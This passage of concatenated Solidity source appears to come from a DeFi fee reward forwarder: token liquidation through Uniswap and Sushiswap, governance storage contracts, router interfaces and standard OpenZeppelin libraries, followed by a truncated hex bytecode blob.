poolNotifyFixedTarget(address _token, uint256 _amount) external { uint256 remainingAmount = _amount; // Note: targetToken could only be FORCE or NULL. // it is only used to check that the rewardPool is set. if (targetToken == address(0)) { return; // a No-op if target pool is not set yet } if (_token == force) { // this is already the right token // Note: Under current structure, this would be FORCE. // designed for NotifyHelper calls // This is assuming that NO strategy would notify profits in FORCE IERC20(_token).safeTransferFrom( msg.sender, profitSharingPool, _amount ); } else { // we need to convert _token to FORCE if ( uniswapRoutes[_token][force].length > 1 || (useSushiswap[_token] != address(0) && uniswapRoutes[useSushiswap[_token]][force].length > 1) ) { IERC20(_token).safeTransferFrom( msg.sender, address(this), remainingAmount ); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); liquidate(_token, force, balanceToSwap); // now we can send this token forward uint256 convertedRewardAmount = IERC20(force).balanceOf(address(this)); IERC20(force).safeTransfer( profitSharingPool, convertedRewardAmount ); } else { // else the route does not exist for this token // do not take any fees and revert. // It's better to set the liquidation path then perform it again, // rather then leaving the funds in controller revert("FeeRewardForwarder: liquidation path doesn't exist"); } } } function liquidate( address _from, address _to, uint256 balanceToSwap ) internal { if (balanceToSwap == 0) { return; } if (useSushiswap[_from] != address(0)) { address sushiswapDestinationToken = useSushiswap[_from]; // a special case for Sushiswap, liquidating SUSHI to sushiswapDestinationToken on Sushiswap, and then sushiswapDestinationToken to FORCE on uniswap IERC20(_from).safeApprove(sushiswapRouterV2, 0); IERC20(_from).safeApprove(sushiswapRouterV2, balanceToSwap); IUniswapV2Router02(sushiswapRouterV2).swapExactTokensForTokens( balanceToSwap, 1, // we will accept any amount uniswapRoutes[_from][sushiswapDestinationToken], address(this), block.timestamp ); uint256 remainingWethBalanceToSwap = IERC20(sushiswapDestinationToken).balanceOf(address(this)); IERC20(sushiswapDestinationToken).safeApprove(uniswapRouterV2, 0); IERC20(sushiswapDestinationToken).safeApprove( uniswapRouterV2, remainingWethBalanceToSwap ); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( remainingWethBalanceToSwap, 1, // we will accept any amount uniswapRoutes[sushiswapDestinationToken][_to], address(this), block.timestamp ); } else { IERC20(_from).safeApprove(uniswapRouterV2, 0); IERC20(_from).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, 1, // we will accept any amount uniswapRoutes[_from][_to], address(this), block.timestamp ); } } } pragma solidity 0.5.16; import "./Storage.sol"; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } } pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } pragma solidity >=0.5.0; import "./IUniswapV2Router01.sol"; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80635aa6e675116100f9578063975057e711610097578063cdeb1ccd11610071578063cdeb1ccd146103fd578063ec362d4a14610433578063edc9af951461043b578063f4b9fa7514610443576101c4565b8063975057e7146103e5578063a79f26dc146103ed578063af6bfe4a146103f5576101c4565b80637764b4d2116100d35780637764b4d214610365578063795dbede1461038b578063841af244146103935780639137c1a7146103bf576101c4565b80635aa6e6751461034d5780635fbc1031146103555780636a4874a11461035d576101c4565b80633192164f116101665780633e413bee116101405780633e413bee1461027b5780633fc8cef31461028357806340c8e2db1461028b578063596fa9e314610345576101c4565b80633192164f14610263578063327107f71461026b5780633cdc538914610273576101c4565b806320860425116101a257806320860425146101fd578063297a8f8a1461022d5780632e1e0462146102535780632f48ab7d1461025b576101c4565b80630a087903146101c9578063109d0af8146101ed57806317e3a3d5146101f5575b600080fd5b6101d161044b565b604080516001600160a01b039092168252519081900360200190f35b6101d1610463565b6101d161047b565b61022b6004803603604081101561021357600080fd5b506001600160a01b0381358116916020013516610493565b005b6101d16004803603602081101561024357600080fd5b50356001600160a01b031661057a565b6101d1610595565b6101d16105ad565b6101d16105c5565b6101d16105dd565b6101d16105ec565b6101d1610604565b6101d161061c565b61022b600480360360608110156102a157600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b8111156102d457600080fd5b8201836020820111156102e657600080fd5b803590602001918460208302840111600160201b8311171561030757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610634945050505050565b6101d16107f3565b6101d161080b565b6101d161088c565b6101d16108a4565b61022b6004803603602081101561037b57600080fd5b50356001600160a01b03166108bc565b6101d16109d9565b61022b600480360360408110156103a957600080fd5b506001600160a01b0381351690602001356109f1565b61022b600480360360208110156103d557600080fd5b50356001600160a01b0316610c67565b6101d1610d9d565b6101d1610dac565b6101d1610dbb565b6101d16004803603606081101561041357600080fd5b506001600160a01b03813581169160208101359091169060400135610dd3565b6101d1610e15565b6101d1610e24565b6101d1610e3c565b736b3595068778dd592e39a122f4f5a5cf09c90fe281565b73c00e94cb662c3520282e6f5717214004a7f2688881565b73df5e0e81dff6faf3a7e52ba697820c5e32d806a881565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156104de57600080fd5b505afa1580156104f2573d6000803e3d6000fd5b505050506040513d602081101561050857600080fd5b505161054c576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b03918216600090815260036020526040902080546001600160a01b03191691909216179055565b6003602052600090815260409020546001600160a01b031681565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b73dac17f958d2ee523a2206206994597c13d831ec781565b73875773784af8135ea0ef43b5a374aad105c5d39e81565b6004546001600160a01b031681565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b15801561067f57600080fd5b505afa158015610693573d6000803e3d6000fd5b505050506040513d60208110156106a957600080fd5b50516106ed576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b806000815181106106fa57fe5b60200260200101516001600160a01b0316836001600160a01b0316146107515760405162461bcd60e51b815260040180806020018281038252603b8152602001806119ad603b913960400191505060405180910390fd5b8060018251038151811061076157fe5b60200260200101516001600160a01b0316826001600160a01b0316146107b85760405162461bcd60e51b81526004018080602001828103825260388152602001806119e86038913960400191505060405180910390fd5b6001600160a01b038084166000908152600260209081526040808320938616835292815291902082516107ed928401906118f1565b50505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008060009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561085a57600080fd5b505afa15801561086e573d6000803e3d6000fd5b505050506040513d602081101561088457600080fd5b505190505b90565b73eb4c2781e4eba804ce9a9803c67d0893436bb27d81565b73d533a949740bb3306d119cc777fa900ba034cd5281565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b15801561090757600080fd5b505afa15801561091b573d6000803e3d6000fd5b505050506040513d602081101561093157600080fd5b5051610975576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0383811691821790925560045460408051919093168152602081019190915281517f250f0cc7fc2ed10e8df5e112b69b17c584e0a8b07f66ffe24a5d03e1731193ca929181900390910190a150565b730954906da0bf32d5479e25f46056d22f08464cab815